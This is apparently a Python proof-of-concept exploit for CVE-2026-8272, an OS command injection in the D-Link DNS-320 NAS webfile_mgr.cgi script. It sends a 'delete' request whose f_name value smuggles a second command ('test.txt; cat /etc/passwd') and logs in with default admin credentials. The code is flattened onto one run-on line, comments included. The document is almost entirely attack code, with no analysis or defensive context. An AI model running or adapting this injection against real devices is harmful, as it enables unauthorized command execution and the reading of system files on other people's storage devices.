CVE-2026-8272

import requests # Exploit Title: D-Link DNS-320 webfile_mgr.cgi OS Command Injection # Date: 2026-05-11 # CVE: CVE-2026-8272 target_url = "http://<target_ip>/cgi-bin/webfile_mgr.cgi" # Note: This exploit requires High Privileges (Admin credentials) username = "admin" password = "admin" # The injection point is in the file operation parameters. # Example: Using the 'delete' function to inject a command. # Payload: filename; <command_to_execute> payload = "test.txt; cat /etc/passwd" # Data payload mimicking the vulnerable file operation data = { "action": "delete", "f_name": payload } try: response = requests.post(target_url, data=data, auth=(username, password), timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print("[-] Failed to send request.") except Exception as e: print(f"[-] Error: {e}")

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